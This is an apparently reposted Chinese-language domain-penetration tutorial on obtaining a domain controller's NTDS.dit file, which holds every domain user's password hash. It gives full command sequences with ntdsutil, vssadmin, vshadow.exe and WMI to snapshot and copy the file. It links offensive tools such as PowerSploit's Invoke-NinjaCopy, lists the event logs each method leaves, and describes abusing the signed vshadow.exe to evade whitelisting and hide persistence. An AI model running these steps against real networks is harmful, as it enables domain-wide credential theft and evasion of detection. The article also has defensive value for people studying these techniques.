域渗透——获得域控服务器的NTDS.dit文件

0x00 前言

在之前的文章《导出当前域内所有用户hash的技术整理》曾介绍过通过Volume Shadow Copy实现对ntds.dit文件的复制,可用来导出域内所有用户hash。本文将尝试做系统总结,总结多种不同的方法。

0x01 简介

本文将要介绍以下内容:

· 多种实现方法

· 比较优缺点

0x02 通过Volume Shadow Copy获得域控服务器NTDS.dit文件

测试系统:

· Server 2008 R2 x64

· Server 2012 R2 x64

Volume Shadow Copy Service:

· 用于数据备份

· 支持Windows Server 2003 及以上操作系统

· 系统默认在特定条件下自动创建数据备份,如补丁安装后。在Win7系统大概每隔一周自动创建备份,该时间无法确定

· 禁用VSS会影响系统正常使用,如 System Restore和 Windows Server Backup

1、ntdsutil

域环境默认安装

支持系统:

· Server 2003

· Server 2008

· Server 2012

· 

常用命令:

(1) 查询当前快照列表

[sourcecode language="plain"]ntdsutil snapshot "List All" quit quit[/sourcecode]

(2) 查询已挂载的快照列表

[sourcecode language="plain"]ntdsutil snapshot "List Mounted" quit quit[/sourcecode]

(3) 创建快照

[sourcecode language="plain"]ntdsutil snapshot "activate instance ntds" create quit quit[/sourcecode]

(4) 挂载快照

[sourcecode language="plain"]ntdsutil snapshot "mount GUID" quit quit[/sourcecode]

(5) 卸载快照:

[sourcecode language="plain"]ntdsutil snapshot "unmount GUID" quit quit[/sourcecode]

(6) 删除快照

[sourcecode language="plain"]ntdsutil snapshot "delete GUID" quit quit[/sourcecode]

 

实际测试:

(1) 查询当前系统的快照

[sourcecode language="plain"]
ntdsutil snapshot "List All" quit quit
ntdsutil snapshot "List Mounted" quit quit
[/sourcecode]

(2) 创建快照

[sourcecode language="plain"]ntdsutil snapshot "activate instance ntds" create quit quit[/sourcecode]

 

guid为{6e31c0ab-c517-420b-845d-c38acbf77ab9}

如下图

域渗透——获得域控服务器的NTDS.dit文件

(3) 挂载快照

[sourcecode language="plain"]ntdsutil snapshot "mount {6e31c0ab-c517-420b-845d-c38acbf77ab9}" quit quit[/sourcecode]

 

快照挂载为C:\$SNAP_201802270645_VOLUMEC$\,如下图

域渗透——获得域控服务器的NTDS.dit文件

(4) 复制ntds.dit

[sourcecode language="plain"]copy C:\$SNAP_201802270645_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit[/sourcecode]

(5) 卸载快照:

[sourcecode language="plain"]ntdsutil snapshot "unmount {6e31c0ab-c517-420b-845d-c38acbf77ab9}" quit quit[/sourcecode]

(6) 删除快照

[sourcecode language="plain"]ntdsutil snapshot "delete {6e31c0ab-c517-420b-845d-c38acbf77ab9}" quit quit[/sourcecode]

 

2、vssadmin

域环境默认安装

支持系统:

· Server 2008

· Server 2012

· …

常用命令:

(1) 查询当前系统的快照

[sourcecode language="plain"]vssadmin list shadows[/sourcecode]

(2) 创建快照

[sourcecode language="plain"]vssadmin create shadow /for=c:[/sourcecode]

(3) 删除快照

[sourcecode language="plain"]vssadmin delete shadows /for=c: /quiet[/sourcecode]

实际测试:

(1) 查询当前系统的快照

[sourcecode language="plain"]vssadmin list shadows[/sourcecode]

(2) 创建快照

[sourcecode language="plain"]vssadmin create shadow /for=c:[/sourcecode]

获得Shadow Copy Volume Name为\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12

如下图

域渗透——获得域控服务器的NTDS.dit文件

(3) 复制ntds.dit

[sourcecode language="plain"]copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\windows\NTDS\ntds.dit c:\ntds.dit[/sourcecode]

(4) 删除快照

[sourcecode language="plain"]vssadmin delete shadows /for=c: /quiet[/sourcecode]

3、vshadow.exe

系统默认不支持,可在Microsoft Windows Software Development Kit (SDK)中获得该工具

注:

64位系统需要使用64位的vshadow.exe

不同系统可供使用的vshadow.exe下载地址:

http://edgylogic.com/blog/vshadow-exe-versions

常用命令:

(1) 查询当前系统的快照

[sourcecode language="plain"]vshadow.exe -q[/sourcecode]

(2) 创建快照

[sourcecode language="plain"]vshadow.exe -p -nw C:[/sourcecode]

参数说明:

-p persistent,备份操作或是重启系统不会删除

-nw no writers,用来提高创建速度

C: 对应c盘

(3) 删除快照

[sourcecode language="plain"]
vshadow -dx=ShadowCopySetId
vshadow -ds=ShadowCopyId
[/sourcecode]

实际测试:

(1) 查询当前系统的快照

[sourcecode language="plain"]vshadow.exe -q[/sourcecode]

(2) 创建快照

[sourcecode language="plain"]vshadow.exe -p -nw C:[/sourcecode]

获得SnapshotSetID为{809b77cc-cf9a-4101-b802-08e97d10e613}

获得SnapshotID为{ef99d039-9a38-4e8b-9f57-e3113d464f76}

获得Shadow copy device name为\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10

如下图

域渗透——获得域控服务器的NTDS.dit文件

(3) 复制ntds.dit

[sourcecode language="plain"]copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10\windows\NTDS\ntds.dit c:\ntds.dit[/sourcecode]

(4) 删除快照

[sourcecode language="plain"]vshadow -dx={809b77cc-cf9a-4101-b802-08e97d10e613}[/sourcecode]

or

[sourcecode language="plain"]vshadow -ds={ef99d039-9a38-4e8b-9f57-e3113d464f76}[/sourcecode]

4、vssown.vbs

可供参考的下载地址:

https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs

本质上是通过wmi对ShadowCopy进行操作

通过wmi查询快照信息:

[sourcecode language="plain"]wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_ShadowCopy GET DeviceObject,ID,InstallDate /FORMAT:list[/sourcecode]

powershell实现:

https://github.com/samratashok/nishang/blob/master/Gather/Copy-VSS.ps1

扩展

1、日志文件

调用Volume Shadow Copy服务会产生日志文件,位于System下,Event ID为7036

执行ntdsutil snapshot "activate instance ntds" create quit quit会额外产生Event ID为98的日志文件

如下图

域渗透——获得域控服务器的NTDS.dit文件

2、访问快照中的文件

查看快照列表:

[sourcecode language="plain"]vssadmin list shadows[/sourcecode]

无法直接访问\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12中的文件

可通过创建符号链接访问快照中的文件:

[sourcecode language="plain"]mklink /d c:\testvsc \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\[/sourcecode]

如下图

域渗透——获得域控服务器的NTDS.dit文件

删除符号链接:

[sourcecode language="plain"]rd c:\testvsc[/sourcecode]

利用思路:

如果当前系统存在快照文件,可对系统的历史文件进行访问

3、利用vshadow执行命令

参考资料:

https://bohops.com/2018/02/10/vshadow-abusing-the-volume-shadow-service-for-evasion-persistence-and-active-directory-database-extraction

执行命令:

[sourcecode language="plain"]vshadow.exe -nw -exec=c:\windows\system32\notepad.exe c:[/sourcecode]

执行后,后台存在进程VSSVC.exe,同时显示服务Volume Shadow Copy正在运行,需要手动关闭进程VSSVC.exe

注:

手动关闭进程VSSVC.exe会生成日志7034

利用思路:

vshadow.exe包含微软签名,能绕过某些白名单的限制。如果作为启动项,Autoruns的默认启动列表不显示

0x03 通过NinjaCopy获得域控服务器NTDS.dit文件

下载地址:

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1

没有调用Volume Shadow Copy服务,所以不会产生日志文件7036

0x04 小结

本文整理了多种获得域控服务器NTDS.dit文件的方法,测试使用环境,比较优缺点。

 

本文为 3gstudent 原创稿件, 授权嘶吼独家发布,如若转载,请注明原文地址: http://www.4hou.com/technology/10573.html

本文由 华盟网 作者:AlexFrankly 发表,其版权均为 华盟网 所有,文章内容系作者个人观点,不代表 华盟网 对观点赞同或支持。如需转载,请注明文章来源。

0

发表评论

// 360自动收录 // 360自动收录